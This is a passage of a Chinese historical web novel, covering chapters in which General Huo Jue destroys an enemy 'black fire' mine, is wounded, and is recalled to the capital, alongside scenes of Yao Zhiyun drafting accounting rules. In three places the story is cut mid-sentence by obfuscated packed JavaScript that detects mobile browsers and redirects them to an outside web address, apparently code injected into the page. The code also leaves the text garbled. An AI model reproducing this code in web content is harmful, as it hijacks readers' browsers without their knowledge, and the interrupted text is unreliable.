但与此同时，一股更原始、更炽热的情绪，也随着这寒意在他们血液中轰然点燃。那是久违的、并肩浴血、生死与共的亢奋，是沉寂多年的战意被重新唤醒的躁动。他们交换着眼神，无声地握紧了手中兵刃，胸腔里沉寂已久的热血，似乎又开始隐隐沸腾。 狼牙山……那场以寡敌众、绝地反击、最终将数倍于己的敌人引入死地、焚杀殆尽的战场，他们仅以十几人便击败了羌族三千精锐。 将军这是要用当年在狼牙山对付那股悍匪的法子，来对付这群东琅兵吗？ 岩缝内，杀机无声凝聚，兴奋暗流涌动。 霍抉略一沉吟，目光转向薛轻羽：“动手时，将外围那些大晋百姓隔开。事成后……”他顿了顿，“全部送往北境，交给可靠的人安置。手脚干净些，别留痕迹。” 薛轻羽心领神会，这是将军要给这些无辜者一条生路，却又不能让他们成为活口隐患。北境天高皇帝远，安插些身份清白的流民，易如反掌。他沉声应道：“是，属下明白。” 如今那些东琅兵正在兴奋中，防备也松懈。 “一队，悄然潜入摸清地形，留下记号，以夜莺鸣叫为号，” “信号收到后，二队，解救百姓，制造混乱，不必纠缠。” 霍抉语气微顿，气息更寒，“至于那鬼面人，”他声音陡然转冷，字字如铁，“交由三队，尽量抓活的。若事不可为……”他眼中杀机一闪，“杀。” “留下三人接应，其他的人随我截杀东琅兵。”霍抉眼中杀机如冰刃。 “明日朝阳升起前，此地，必须从地图上彻底抹去。” “是！”周遭几人低声领命，空气中弥漫开一股铁锈般的肃杀之气。 而山谷中却弥漫着癫狂的兴奋，许多人扔掉手中的兵器，围着那仍冒着焦黑烟雾的巨坑手舞足蹈，酒囊被传着豪饮，监工也放松了鞭子，整个山谷陷入一种胜利在望、末日狂欢般的混沌氛围，秩序荡然无存。 而这，正是潜伏于黑暗中猎手，等待已久的最佳时机。 夜莺啼鸣，响彻山谷。 没有呐喊，没有哨音。十余道黑影如鬼魅般从阴影中渗出，纷纷跃下。 死亡如夜色蔓延。锋利的短刃自身后探出，精准地捂住口鼻，割断喉管；手中箭簇，悄无声息地钉入哨兵的后颈。没有惨叫，只有躯体倒地的闷响。 众人如贴着地面流动的阴影，无声无息地向着谷底潜行，循着留下的记号指引路径，避开零星晃动的火把与狂欢的喧嚣，直抵岩壁下那座半隐于山体的山洞。 行动起初顺利得近乎诡异，变故却在转过外侧岩角时发生——与一名东琅兵迎面碰上 “敌袭——！！！” 一声变了调的嘶吼，划破了紧绷的夜幕。 寂静彻底碎裂。 矿坑如同被捅破的马蜂窝，瞬间炸开。只是那些喝醉的东琅兵却没了什么战斗力。 而潜伏在其余各处的黑影，在这一刻再不隐藏，骤然暴起！ 手中长刀在跳跃的火光下拉出冷冽的弧光，所过之处，皮鞭断裂，血肉横飞。短促的闷哼与惨叫刚刚响起，便被更激烈的兵刃撞击与怒吼淹没。 外围那些神情麻木、如同行尸走肉的百姓，被这突如其来的杀戮惊得呆住，随即看清黑衣人刀锋直向东琅人卷去，求生的本能如野火燎原，瞬间压倒了恐惧。 “往西边山口跑！快跑——！”有人用粗粝的梓州土语放声嘶吼。 话音未落，人群已如崩溃的堤坝，哭喊着、推挤着、踉跄着，向着那片黑暗的山口奔涌。混乱，成了此刻最有效的屏障。 负责接应的亲卫已经悄然就位，百姓蜂拥而至，也被有序地疏散，藏身山林之中。 霍抉长剑已然在手，剑光吞吐如龙，点、刺、挑、抹，简洁致命，与亲卫结成小队，在越来越多的东琅士兵中奋力搏杀，且战且退，向着预先勘察好的撤退路线移动。 “放火。”他一声令下。 “轰——！” “轰轰——！” 一声比昨夜更猛烈的爆炸在不远处炸响，地动山摇。是薛轻羽的人开始引爆堆积的“黑火”原料。冲天的火柱裹挟着碎石和热浪，瞬间吞噬了半个工棚，也将更多东琅守卫卷入火海。 巨大的火球腾空而起，爆炸的冲击波不仅吞噬了附近的东琅人，更引起了山壁的震颤和崩塌，碎石如雨落下，彻底切断了矿坑内外的通路，也制造了极致的混乱。 霍抉眼角余光瞥见，几名慌不择路、被爆炸气浪掀翻且惊恐过度的梓州百姓，竟昏头涨脑地逃向了完全相反的、东琅援兵涌来的方向！ 东琅士兵狰狞的面孔已清晰可见，弯刀高举，映着熊熊火光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184121|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 千钧一发。 霍抉身形如电，骤然折返，长剑化作一道银虹，精准地荡开最先劈向百姓头颅的几把弯刀，厉声暴喝：“走！”同时旋身，隔开身侧凶狠刺来的刀剑。 然而，就在这一瞬，远处又一次剧烈的爆炸，激起狂暴的气流，裹挟着无数燃烧的碎木与炽热的火星，如同一条发怒的火龙，横卷过他所在的位置！ “嗤——” 一股皮肉焦灼的刺鼻气味传来。霍抉的左臂外侧与后背衣衫瞬间被燎燃，灼热的剧痛钻心袭来。他闷哼一声，就势翻滚，扑灭身上火焰，动作已显迟滞。 “将军！”近处亲卫目眦欲裂，疯狂抢上前，以身为盾，手中连弩疾射，将扑来的敌人逼退数步。 霍抉借力起身，脸色在火光映照下苍白如纸，额角渗出冷汗，但眼神依旧锐利如鹰，死死锁定鬼面人消失的小径方向。然而，通道已被落石和增援的敌人暂时阻断。 “将军！此处已不可留！”亲卫急道。 霍抉看一眼那几名被他救下、正连滚爬逃离的百姓，又看了一眼已经被亲卫带离的鬼面人。 瞬间，抉择已定。 “发信号，撤！” 一枚绿色的信号火丸尖啸着升空，在通红的天幕下炸开。 正率队酣战的薛轻羽瞥见信号，毫不恋战，暴喝一声：“掷！”最后一批浸满火油的陶罐被全力掷向残留的关键器械与洞口，火星紧随而至。 “轰隆——！” 最后的爆炸吞没了一切。 薛轻羽带着部下，如潮水般退入预设的复杂山径，消失无踪。 霍抉在亲卫的拼死掩护下，忍着重伤后的阵阵晕眩与灼痛，疾步退入山林阴影。最后回望—— 整个山坳已化作一片焚天煮海的烈焰地狱，爆炸的余响仍在群山间回荡，东琅人的怒吼与哀嚎尽数被火海吞噬。 “走。” 他咬牙吐出这个字，身影彻底融入山林的黑夜，仿佛从未出现过。只留下身后冲天的大火，映红天际，也映亮了他眸中冰冷的光。 山麓阴影处，夜风裹挟着远方未散的焦烟味。 霍抉静立，如同山岩。 鬼面人此刻正昏迷着，被置于一副临时扎起的粗陋担架上，脸上可怖的疤痕在稀薄月光下更显诡谲。 霍抉开口，声音因伤后的疲惫与吸入烟尘而沙哑，却字字清晰，“将人秘押回京，交给沈知节。”他顿了顿，补充道，“告诉他，事关重大，等我回去。” “是，将军。”薛轻羽抱拳领命，目光却难以从霍抉左臂及后背那片不断渗出血色与焦黄液体的伤处移开。 布料与皮肉黏连，边缘是骇人的灼痕。他喉结滚动，眼底翻涌着未能尽护主将的沉痛与自责，终是忍不住低声道：“将军，您的伤……需立即处理。” “无妨。”霍抉语气平淡，仿佛那狰狞伤口不在己身。他抬眼，望向薛轻羽，“此行凶险，押送途中要万分谨慎。” 薛轻羽听出话中未尽之意——他深吸一口气，将所有情绪压敛回眼底，重重抱拳：“末将明白！必不负将军所托！” 他不再多言，转身挥手，几名绝对可靠的心腹立刻抬起担架，迅速没入另一条隐秘小径，如滴水归海，顷刻无踪。 29. 敌袭 原地只剩下霍抉，与一名留下护卫的亲兵。夜风更冷，牵动伤处，一阵尖锐的刺痛让他几不可察地蹙了下眉。 “将军……”，亲兵担忧上前。 霍抉抬手止住他的话。他最后望了一眼矿坑方向那片仍未熄灭的暗红天际，又看了一眼薛轻羽等人消失的路径。 没有了那些‘黑火’，东琅自然也没了攻城的能力，危机解除。 “回高都。” 话音落，他已提气纵身，几个起落便掠出数丈。身形依旧矫捷，玄色身影在崎岖山道与城垣阴影间疾行，如同归巢的夜鹰，悄无声息地划破黎明前最浓重的黑暗，疾驰而去。 拂晓将至，他必须在幽禾觉察更多异样之前，回到驿馆。 驿馆后院的窄屋内，只点了一盏烛火。 霍抉背对着门，褪下半边焦糊的衣衫。狰狞的灼伤暴露在昏黄的光线下，从左肩胛斜贯至臂肘，皮肉翻卷，边缘焦黑，与周遭完好的皮肤形成刺目对比，渗出的组织液混着血水，缓缓淌下。 青木正端着一盆刚打来的井水和一碗捣烂的草药，他死死捏住碗沿，指节泛白，目光胶着在那片伤痕上，长长吸了一口气才挤出声音：“将军……这伤，还是得寻个大夫来瞧瞧。” “不行。”霍抉打断他，声音因强忍剧痛而低沉沙哑，每个字都像是从紧咬的牙关中迸出，“我的伤不能让任何人知道，要尽快回京才行。” 他额际不断渗出细密的冷汗，顺着紧绷的下颌线滑落，滴在身下陈旧的地板上。后背的肌肉因疼痛而微微痉挛。 青木的眼圈瞬间红了。他放下碗，拧了凉水帕子，手却抖得厉害，不敢轻易触碰那恐怖的伤口。“可……可是将军，这伤太重……” “用你备的金疮药和凉膏，”霍抉吸着气，语气不容置疑，“简单处理，动作快点。” 青木的手止不住地颤抖，用了将近一个时辰，才勉强将那狰狞的灼伤清理、上药、用干净的细棉布包裹妥当。每一寸触碰都让霍抉背肌紧绷，冷汗早已浸透里衣，他却只从喉间溢出几声极低的闷哼。 “将军，好了……”，青木声音发哽，看着那被包扎得仍显突兀的后背轮廓。 霍抉取过一件玄色的广袖罗袍穿在身上，玄色很好，外人轻易看不出。 “霍将军可醒了？我有要事相商。”于幽禾语气急切，但依旧有着武将的粗豪响亮，身后还伴随着不止一人的沉重脚步声，由远及近，径直走了进来！ 霍抉猛地抬头，眼中疲态尽褪，瞬间灌满凌厉的警惕，他递给青木一个无声却明确的眼神。 青木会意，强定心神，快步抢出房门，正好在檐下迎住已到院中的于幽禾一行。 “于将军，”青木躬身，“我们到厅里稍候，将军马上就好。” 于幽禾大手一摆，脸上堆满焦虑，脚步停在院中，“东琅大军异动，军情如火，下官不敢自专，还望将军见谅。”他刻意加重了将军二字，目光却殷切地望向房内。 霍抉低垂的眼睫下，眸光倏然一冷。 异动？昨夜矿坑火光冲天，消息定然传到东琅大营，激起报复性的劫掠与佯攻，再正常不过，薛轻羽已密令其在梓州至八陉一线的关键隘口暗中布置，监视东琅动向。至今未有预警信号传来，说明局面尚在预料与掌控之中。 “原来如此，”他嗓音沙哑，甚至低低地咳了两声，“军情要紧。于将军稍候，容霍某略作整理便来。” “青木，”霍抉低低的唤了一声。 青木高高的应着，旋即朝着于幽禾行了礼转身回到屋内。 霍抉压低了声，“传令薛轻羽，不必与东琅大军纠缠，只远远盯着，只要不劫掠村镇，放他们离开便好。” “是”，青木凛然应命，悄无声息地从后窗掠出。 屋内只剩霍抉一人，他缓缓起身取过一件墨绿的斗篷，披在身上，这一动，背后那灼伤被狠狠牵扯，剧痛如钢针扎入骨髓，让他眉心几不可察地骤然一蹙，额角瞬间渗出细密的冷汗。 他深吸一口气，稳住身形，又将斗篷披在肩上，墨绿的绒料衬得他面容愈发苍白，仿佛秋霜打过后的残荷。 霍抉微微垂首，以拳抵唇闷咳两声，再抬眼时面上倦色如薄雾般笼着，唇色浅淡，透出几分病气后的苍白。 他的目光落在眼前的于幽禾身上，眼底平静，思绪却掠过层层叠叠的旧日烟尘。 这还是他来到八陉第一次见到于幽禾，在他来的前一天于幽禾也正好外出巡防，还真是——巧的很。 这于幽禾看上去是个粗犷的莽夫，实则心思深沉，不然也不会一路从小兵到了一关守将，皇上亲封“嘉勇将军”。 “于将军见谅，”他声音带着病后的暗哑，“昨夜偶感风寒，倒是让于将军久候了。” 于幽禾见状，忙上前半步，脸上堆起既关切又歉然的神色：“霍将军这是哪里话！原是下官扰了将军休养，心中已是惶恐。将军抱恙在身，实该好生将息才是！只是这军情如火……”他搓了搓手，语气恳切中透着为难，“下官愚钝，不敢自专，这才不得不来烦扰将军定夺。万望将军保重贵体啊！” 他一面说着，一面作势欲扶，目光却在霍抉苍白的脸和那件裹得严严实实的墨绿斗篷上飞快扫过。 霍抉微微侧身，不着痕迹地避开了于幽禾的手，只略一颔首：“分内之事，何谈烦扰。”此时，青木恰端着药碗稳步走来。 霍抉接过药碗，仰首饮尽，随后将空碗递回，动作流畅自然。苦涩的药气在空气中短暂弥漫。他抬袖拭了拭唇角，再看向于幽禾时，脸上勉强扯出一丝极淡的、带着病容的笑：“军情耽搁不得。于将军，请。” “霍将军请！”于幽禾连声应着，腰身又弯下去几分，态度恭谨非常，却坚持侧身让出道路，执意请霍抉先行。 于幽禾脸上那敬重的神情，做的倒是十足。 二人一前一后步出驿馆。晨光熹微，照在霍抉墨绿的斗篷上，那颜色沉得像化不开的深潭。他步履平稳，与平日无异，唯有贴近了方能察觉，那挺直的脊背其实绷得极紧，仿佛一根拉到极致的弓弦。 军营大帐内，炭火烧得正旺，驱散了晨间的寒意，却也烘得帐内空气略显滞闷。 霍抉眼底的寒光闪烁，还是解下斗篷，交给青木，内里那件玄色的广袖罗袍更衬得他面色有些透明般的白，他走到沙盘前，目光沉静地扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187127|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过八陉关隘与周边山川地势，听于幽禾及几位副将禀报东琅今日频繁的小股袭扰。 “依末将看，东琅此番怕是要有大动作，”一名络腮胡副将指着沙盘上一处谷地道，“昨夜他们前哨已探至黑石谷，距我们不足三十里。” 霍抉未立即接话，只伸手从沙盘旁拈起几枚代表兵力的黑色小旗，沉吟着在几处关键隘口缓缓插落，他的目光却是沉沉的掠过梓州城外那片村落田畴的微缩地形。 看着于幽禾的布防，重兵尽屯于关隘险要，防线如同一条紧绷的弦，死死勒在八陉咽喉，却将关外梓州广阔的田野村舍全然置于不顾。一旦烽火燃起，铁蹄踏破的，首先便是那片土地上毫无遮蔽的黎庶。 “于将军，”霍抉忽然开口，声音不高略显沙哑，“是否曾虑及，将梓州百姓先行内迁安置？” 于幽禾身形微顿，眼角肌肉细微的跳了两下，他转过身，脸上堆起凝重与无奈交织的复杂神色，“霍将军体恤百姓，下官岂能不知？梓州是我大晋疆土，百姓皆是我大晋子民，末将镇守于此，日夜悬心，又何尝不痛？”他叹了口气，指向关内方向，“只是将军明鉴，关内仓廪本就不裕，骤然涌入数万流民，钱粮从何而来？此其一。再者……” 他趋近两步，压低声音，言辞恳切却透出冷硬的现实考量：“梓州多年兵祸拉锯，户籍紊乱，人丁混杂。东琅细作常扮作流民混入，防不胜防。若开关纳民，万一有奸细趁乱潜入，八陉雄关一旦有失，后果不堪设想。末将身负守土之责，不敢以关隘安危为赌注……只能，先全大局。” 霍抉静默听着，面色无波。他知道于幽禾所言非虚，句句皆是守将的艰难权衡。乱世之中，慈不掌兵，有时冰冷的抉择背后，是更残酷的生存法则。 霍抉垂眸望着沙盘上那片象征梓州的、毫无屏障的微缩土地，眼底掠过一丝极深沉的暗影。 他又将几面黑色的小旗做了微微调整，“于蒋军布防严谨，无需变动，只是——，” 指尖稳定，动作不疾不徐，仿佛背后那灼人的伤痛并不存在。唯有离得最近的于幽禾，偶尔能瞥见他额角渗出又迅速被揩去的细汗，以及那在厚重衣料下，因某些幅度稍大的动作而几不可察的瞬间僵硬。 “你看此处。”他指尖点向沙盘上一条隐蔽的山径，“若东琅真欲强攻，此路虽险，却可出奇兵。需加派一队精悍，日夜监视，并在谷口预设伏击。” “将军明鉴！”于幽禾抚掌，眼底掠过一丝佩服，随即又蹙眉，“只是如此一来，正面守军兵力恐被牵制……” “无妨。”霍抉取过代表己方的红色小旗，从容补上几处，“中军大营前压五里，作出增援姿态，虚张声势。另，关隘两侧增设疑兵，多竖旗帜，夜间加派篝火。东琅生性多疑，见我军阵势严整，虚实难辨，攻势必缓。” 他三言两语，已将防御调整得更为立体机动。几位副将听得频频点头，方才的焦虑稍缓。于幽禾更是连连称是，正欲下令安排细节—— “报——！” 帐外骤然传来一声急促长喝，一名哨探几乎是连滚爬入，单膝跪地，气息未匀便急声道： “禀将军！东琅大军……退了！” 30. 受伤 帐内霎时一寂。 “退了？”络腮胡副将瞪大眼睛，“你看清楚了？往哪个方向？是佯退还是真撤？” 哨探喘着粗气道：“千真万确！寅时末，东琅前军便开始拔营，中军、后军依次后撤，旗号不乱，但速度极快。此刻已退至五十里外，看方向……是往东返回其境内！” 众人面面相觑，帐中响起一片压抑的低声议论。方才还如临大敌的紧张气氛，陡然变得有些诡异。 于幽禾眉头紧锁，看向霍抉：“将军，这……东琅耗费钱粮，岂会无功而返？其中莫非有诈？” 霍抉静立沙盘前，目光凝在那些代表东琅兵力的黑色旗子上，眸色深沉，看不出太多波澜。只有他自己知道，后背的伤痛正随着心跳一阵阵搏动，提醒着昨夜那场惊天动地的火光与爆炸。 他沉默片刻，才缓缓道：“未必是诈。东琅用兵，向来利字当头。或许……是觉得此时强攻，代价过大，得不偿失。” 他抬眼，视线扫过帐中诸将，“不过，于将军所虑甚是。传令下去，斥候营加派三倍人手，远出百里，严密监视东琅退兵动向，尤其注意是否有分兵迂回、藏匿伏兵的迹象。关隘守军不可松懈，防御布置依方才所议，照常进行。” “是！”众将凛然应命。 于幽禾拱手：“将军抱恙仍如此周密，下官佩服。您脸色不佳，不若先回驿馆歇息，此处有下官等盯着，一有异动，即刻禀报。” 霍抉确实感到一阵阵虚乏与晕眩袭来，伤口也在持续发热。他不再强撑，微微颔首：“有劳于将军。既如此，此处便交由将军主持。若有要事，随时来报。” 他重新披上那件墨绿斗篷，在于幽禾等人的恭送下，步履沉稳地走出了大帐。直到离开了众人的视线，踏上返回驿馆的马车，他才允许自己微微向后靠入车壁，闭上眼睛，额角的冷汗终于无所顾忌地涔涔而下。 东琅退了。 是因为那矿坑被毁，“黑火”成空，失去了最大的倚仗，短时间内该是不会再卷土重来了。 只是这于幽禾究竟是何种心思？ 前世，他身为文臣，与于幽禾交集的不多，只是在朝堂上远远照过几面，只记得他有个女儿嫁入东宫为侧妃，后来不知为何却暗地里投靠了二皇子，二皇子事败，于家受牵连满门抄斩。 倒是后来大理寺抄家，才叫这位于将军的“经营之才”曝于天光之下——整个府邸的地下，竟深埋着白花花的银子，不下八百万两之巨，尚未计入那些早已洗成银票、不知流向何处的财帛。一个于家，抵得上大晋半年的岁入。 想来，二皇子举事的钱粮，于幽禾贡献了不少。 五行山矿产丰富，往来的商队络绎不绝，除了登记在册的那些矿外，还有多少私矿是不为人知的，于幽禾又搜刮了多少民脂民膏？ 不知薛轻羽那边如何了？他本以为只要于幽禾能守住关隘，不生异心，与他做的事情无碍，他并不想节外生枝。 到了驿馆，薛轻羽已在内室候着，见霍抉推门而入，忙上前拱手。 “将军，东琅退兵了。”说着将一本册子双手奉上，“这是梓州登记在籍的居民册簿。” 霍抉接过，在案前坐下，就着昏黄的烛火翻阅，纸页虽泛黄，墨迹却是新的，显然是刚刚才整理过，他神色未动，“还有何事？” 薛轻羽上前半步，声音压低，“末将查核时发现异样，三年前，梓州在册人丁尚有八万余口，如今——已不足四万，且损折多为青壮男丁。” 霍抉翻页的手指微微一顿。 薛轻羽继续道，“昨日救出的那些百姓，多是老弱，据他们说，近些年常有一李姓商人前来招工，开价颇丰，且一次预付三年工钱，百姓为活命，只能将儿郎送去，却从此杳无音讯，而这些人，在官府册籍上，已报了死亡，销了户籍。” 烛火哔哔一声，映得霍抉眼底光影骤冷。 “梓州州府，”薛轻羽顿了顿，声音渗着一丝寒意，“形同虚设，现任知州常年居于高都城，对梓州事务不闻不问，只有一位学正胡大人还在勉力支撑，但——。” 薛轻羽顿了一下，看霍抉并无异样，便继续说道，“如今的梓州，外有东琅铁蹄频扰，内有官府剥削，百姓如陷炼狱，十室九空，若再无人过问，不出两年，此地恐成鬼域，再无生机。” 霍抉“啪”的一声合上册薄，在寂静的室内格外清晰。 他抬眼看向窗外沉沉的夜色，仿佛能穿透驿馆的高墙，望见那片被遗忘的土地上，那些绝望中的面孔。 梓州原是东边少有的膏腴之地。东倚苍茫山脉，西接平缓川原，土地深厚肥沃，溪河纵横交织，曾是朝廷倚重的粮仓之一。春来麦浪翻涌，秋至大豆遍野，素有“小江南”之称。 然而近二十年来，这片丰饶的土地却悄无声息地走向凋敝。 先是北境十三州接连沦丧，梓州从腹地骤然变为前沿，又无屏障可保安宁，战云常年笼罩，百姓惶惶，田地渐荒。 地底埋藏的矿脉被逐次探明发掘——铁矿、铜矿，乃至稀有的墨玉矿。一时间，商贾、工匠、流民蜂拥而至，官府的勘采令一道接着一道。山峦被刨空，溪流被截断，沃土之上竖起了一座座炉窑与工坊。浓烟蔽日，矿渣淤塞河床，原本清澈的渠水变得污浊不堪，再难灌溉。 土地，就这样被一点一点地掏空了根本。就连最耐旱的蒿草也生得稀疏。许多农户被迫放弃了祖辈耕耘的田地，要么沦为奴工，要么背井离乡。富庶的村落接连成了废墟，只剩下残垣断壁，在风沙中无声诉说往昔。 失去了十三州的屏障，又失去了土地的滋养，梓州便如同一株被掘断根脉、又遭风雪摧折的老树，再难恢复生机。如今的梓州，沃野不再，唯余荒丘；人烟稀落，但闻鬼哭。昔日的“小江南”，终究成了权欲与贪婪啃噬后，一片流血结痂的疮疤。 朝廷不是不知道梓州的疮痍。 毕竟，没有血流成河的民变，没有震动朝野的冤案，那些零星的苦难，在庙堂衮衮诸公眼中，不过是边陲之地难免的“癣疥之疾”。 可梓州的百姓，又何尝不想告？ 只是那鸣冤的路，早已被无形的高墙堵死。若要上达天听，必先出梓州，过八陉，历州县，层层递状，步步艰难。 状纸递不出去，哭声传不过来。梓州便成了被遗忘的孤岛，被牺牲的弃子。 一年，两年，十年。 后来，亲人离散的多了，田舍成墟的惯了，连眼泪都流干了。人便渐渐木了，如同旱地里的枯草，低着头，弯着脊，在风沙与矿尘中沉默地活着，死去。 “将军——”，薛轻羽看着沉默的霍抉，终究是没忍住心中的悲愤，“我们— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192676|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —不管吗？” 霍抉摩挲着册籍的封面，沉默良久，“这事，不该我们管。” 薛轻羽沉默了，青木沉默了，满室皆一片沉默。 霍抉骤然起身，“我们回京。” 此行奉旨巡查，本为东琅陈兵压境。如今东琅既退，八陉暂无燃眉之急，至于那些矿产税收，自然有人负责整治，于他而言，已无逗留的必要。 更何况，这梓州的一笔笔烂账、关隘内外的暗涌、连同袖中那本染着血泪的户籍册……桩桩件件，总要找一个契机。 京中，还有未竟的局，待斩的棘，和……该见的人。 他抬眼望向窗外，天色将明未明，一片混沌的灰白。 是该回去了。 “可——将军，您的伤。”青木目光落在他肩背处，声音里压着忧急。 “无碍。” 这里距离京城三百里，且多为山路，他们快马加鞭，半日也能到京。 霍抉正欲转身，脚步却蓦地一顿，仿佛忽然记起什么关窍。他侧过脸，轮廓在将明的天色里显得格外清晰冷硬： “方才你说到的那位州学学正……去查。若查明他风骨未折、尚堪一用，”霍抉语速放缓，“寻个稳妥法子，护他进京。” 这件事需要一个合适的人站出来，但这个人不能是他。 薛轻羽闻言，眼神倏然一亮，他就知道将军不会不管的，“是，将军。” 霍抉的奏报以六百里加急，隔日寅时初刻送抵大内，放在了皇帝的御案之上。 太和殿东暖阁内，灯火通明，赵厚正披着一件玄色绲边的常服，对着一盘残局独自沉吟。他接过奏匣，验了火漆，取出内中文书。 他目光沉静，掠过那些关于东琅退兵、八陉布防的例行陈述。直至“黑火”二字，倏然撞入眼帘。 赵厚执信的手指几不可察地一顿。 他身子微微前倾，就着明亮的烛火，将那段文字反复看了三遍。 暖阁内寂静无声，只有铜漏滴答，与皇帝逐渐变得沉浊的呼吸。 “黑火……”，赵厚低喃出声，这两个字在舌尖滚过，带着铁锈与硫磺般的腥气。他眼前仿佛看到了奏章背后未能描绘的画面：山崩地裂，关墙倾颓，血肉横飞……以及东琅铁骑踏着烈焰与废墟，长驱直入的场景。 他猛地将奏章按在案上，抬起头，眼中再无半分倦意，只剩下鹰隼般的锐利与冰封的震怒。 “高乔。” “陛下。”一直垂手侍立在阴影中的太监高乔立刻趋步上前。 “八百里加急。”赵厚的声音不高，却字字斩钉截铁，在寂静的暖阁内回荡，“命霍抉速速返京面圣，不得延误。” 他略一停顿，眼底幽光更深：“另，宣命兵部尚书，朕在养心殿见他。” “老奴遵旨。”高乔躬身，动作迅捷无声地退下安排。 不过一刻钟，盖着皇帝宝玺的明黄圣旨便被封入筒中，由一队精锐缇骑携带着，冲出宫门，踏碎京城黎明的寂静，向着八陉方向，风驰电掣而去。 暖阁内，赵厚独自立于窗前，望着东方天际渐渐泛起的鱼肚白。手中仍攥着霍抉那份奏报，指节因用力而微微发白。 “黑火……”，他又念了一遍，这一次，声音里除了惊怒，更渗入了一丝深沉的、唯有帝王才会有的忌惮与算计。 31. 明德书院 驿馆前，香案已撤，传旨太监的车驾扬起的尘埃尚未落定。 霍抉静立阶前，只朝亲卫略一颔首：“去于将军处知会一声，圣命急召，不及面辞。”语气平淡，仿佛只是暂别友邻。 “轻羽。”他目光转向门外那辆青篷马车——背上的灼伤经不起连日马背颠簸，在青木近乎执拗的恳求下，又搬出了姚知韫后，他终究是让步了。 “末将在。”薛轻羽快步上前。 “留一队人，”霍抉声音压低，却是惯常的冷肃，“盯住东琅，还有于幽禾的动向，掌握好证据。” “末将明白，”薛轻羽抱拳，神色凛然。 马车辘辘驶动，将八陉关隘的朔风与烟尘渐渐抛在身后。 车厢内，霍抉背靠软垫，闭目凝神。伤处随着车身摇晃传来阵阵闷痛，他却恍若未觉。 终于——启程回京了。 离京不过半月余，却似过了许久。去时庭前犹见残菊，归来恐已落尽初雪。时序更迭总无声，不知那座熟悉的府邸里，光阴又是如何模样？ 不知……韫儿此刻在做些什么？ 这念头一起，便如投石入潭，在他向来冷静自持的心底激起层层叠叠的涟漪，终至轰鸣。眼前仿佛浮现她慵懒倚在榻边、指尖闲闲翻动书页的模样；或是坐在廊下，对着满院萧瑟秋光，唇角弯起那抹总是淡淡的、却莫名让他心头发软的笑意。 他竟如此……想她。 想她垂眸时睫羽的轻影，想她偶尔语出惊人时的清亮眸光，甚至想她被他惹恼时，那副强作淡然、耳尖却微微发红的模样。 还有那碗面。简单至极，热气腾腾，卧着碧绿葱花——是他离京前夜，她默然递来的温暖。 韫儿。 他在心底无声唤她的名，喉间竟泛起一丝罕见的干涩。 马车疾驰，碾过官道，将边关的烽烟与算计暂时隔在帘外。车厢内唯闻轮声轧轧，衬得他此刻的思念愈发清晰而汹涌。 再快些吧。 他想即刻踏进那座有她的院落，亲眼确认她一切安好，亲耳听她用那副平静的嗓音，或许会说一句：“回来了？” 等我。他于晃动的光影中缓缓睁开眼，望向京城的方向，目光深沉而灼亮。 马上，就能相见了。 远在京城的姚知韫轻轻地打了一个喷嚏，她抬起指尖揉了揉发痒的鼻尖，谁——在念叨她？ 案上，一张绘制工整的表格墨迹已干。横平竖直的格子间，填满了清晰的数目，收入、支出、结余一目了然。旁侧另附一纸章程，题为《归云楼财支用行事准则》，条款简明，权责分明。她不求面面俱到，但求这新立的“归云楼”，从一开始便有规矩可循，有章可依。 沈知节此人的确敏慧过人。 往往姚知韫凭着记忆勾勒大致的轮廓方向，他便能将其中关窍，潜在利弊，乃至她未曾虑及的细处，条分缕析地铺陈开来，不仅将她原本有些飘忽的设想落在实处，更常能切中要害，提出比她原案更为周密，也更易于施行的章程。 她如今能在沈知节这般老练的人物面前占据主动，所依仗的，不过是沉淀了千百年的见识与思维红利。那些东西于此世而言，新鲜、锐利、直指要害，足以让沈知节这样的实务干才眼前一亮，心生叹服。 然而，假以时日，沈知节必将飞速消化并超越她带来的这些“新奇”框架，深入到更复杂的本地商事网络、人情世故与潜规则中去。 到那时，若她仍只停留在抛出概念的层面，而无与之匹配的、扎根于此世现实的深厚底蕴与精微掌控力，那么“露怯”便是必然。 这种隐约的危机感，像一根极细的丝线，时刻悬在她的心头，带来一种沉静的压力。 她必须让自己更快地生长，将脑子里那些超越时代的星火，与此世真实的土壤、气候、养分相结合，催生出真正属于“姚知韫”的、独一无二的东西。 学习。这是她给自己下达的最紧迫的命令。 不仅是通过账册了解产业，更要读懂沈知节处理事务时那些未曾言明的权衡与机锋； 不仅要明了市场行情，更要洞悉这京城错综复杂的人情脉络与权力暗流； 不仅要会看数字，更要能看懂人心。 这份清醒的认知与紧迫感，让她在沈知节面前那份淡然的自信之下，始终保有一份近乎贪婪的求知欲与沉潜的谦逊。 